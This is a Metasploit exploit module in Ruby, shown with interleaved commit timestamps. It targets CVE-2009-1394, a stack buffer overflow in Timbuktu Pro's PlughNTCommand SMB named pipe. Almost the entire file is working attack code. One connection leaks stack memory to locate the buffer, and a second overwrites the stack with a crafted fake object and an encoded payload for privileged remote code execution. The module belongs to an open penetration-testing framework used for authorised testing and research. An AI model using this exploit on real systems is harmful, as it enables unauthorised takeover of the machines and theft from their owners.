metasploit-framework/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb

155 lines
4.2 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
2014-03-11 17:44:34 +00:00
'Name' => 'Timbuktu PlughNTCommand Named Pipe Buffer Overflow',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6
in a pretty novel way.
This exploit requires two connections. The first connection is used to leak stack data
using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying
a large value for this argument it is possible to cause Timbuktu to reply to the initial
request with leaked stack data. Using this data allows for reliable exploitation of the
buffer overflow vulnerability.
Props to Infamous41d for helping in finding this exploitation path.
The second connection utilizes the data from the data leak to accurately exploit
the stack based buffer overflow vulnerability.
2013-08-30 21:28:54 +00:00
TODO:
hdm suggested using meterpreter's migration capability and restarting the process
for multishot exploitation.
},
'Author' => [ 'bannedit' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-1394' ],
[ 'OSVDB', '55436' ],
[ 'BID', '35496' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
# we use a memory leak technique to get the return address
# tested on Windows XP SP2/SP3 may require a bit more testing
[ 'Automatic Targeting',
{
# ntdll .data (a fairly reliable address)
# this address should be relatively stable across platforms/SPs
'Writable' => 0x7C97B0B0 + 0x10 - 0xc
}
],
],
'Privileged' => true,
'DisclosureDate' => 'Jun 25 2009',
'DefaultTarget' => 0))
end
2013-08-30 21:28:54 +00:00
# we make two connections this code just wraps the process
def smb_connection
2013-08-30 21:28:54 +00:00
connect()
smb_login()
2013-08-30 21:28:54 +00:00
print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")
2013-08-30 21:28:54 +00:00
pipe = simple.create_pipe('\\PlughNTCommand')
2013-08-30 21:28:54 +00:00
fid = pipe.file_id
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
2013-08-30 21:28:54 +00:00
return pipe
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def mem_leak
2013-08-30 21:28:54 +00:00
pipe = smb_connection()
2013-08-30 21:28:54 +00:00
print_status("Constructing memory leak...")
2013-08-30 21:28:54 +00:00
writable_addr = target['Writable']
2013-08-30 21:28:54 +00:00
buf = make_nops(114)
buf[0] = "3 " # specifies the command
buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code
buf[98] = [writable_addr].pack('V')
buf[110] = [0x1ff8].pack('V') # number of bytes to leak
2013-08-30 21:28:54 +00:00
pipe.write(buf)
leaked = pipe.read()
leaked << pipe.read()
if (leaked.length < 0x1ff8)
print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes")
pipe.close
disconnect
return
end
2013-08-30 21:28:54 +00:00
offset = 0x1d64
stackaddr = leaked[offset, 4].unpack('V')[0]
bufaddr = stackaddr - 0xcc8
2013-08-30 21:28:54 +00:00
print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)} buffer #{sprintf("0x%x", bufaddr)}"
2013-08-30 21:28:54 +00:00
print_status("Closing connection...")
pipe.close
disconnect
2013-08-30 21:28:54 +00:00
return stackaddr, bufaddr
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def exploit
2013-08-30 21:28:54 +00:00
stackaddr, bufaddr = mem_leak()
2013-08-30 21:28:54 +00:00
if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side
print_error("Error: memory leak failed")
return
end
2013-08-30 21:28:54 +00:00
pipe = smb_connection()
2013-08-30 21:28:54 +00:00
buf = make_nops(1280)
buf[0] = "3 "
buf[94] = [bufaddr+272].pack('V') # create a fake object
buf[99] = "\x00"
buf[256] = [bufaddr+256].pack('V')
buf[260] = [bufaddr+288].pack('V')
buf[272] = "\x00"
buf[512] = payload.encoded
2013-08-30 21:28:54 +00:00
pipe.write(buf)
2013-08-30 21:28:54 +00:00
end
end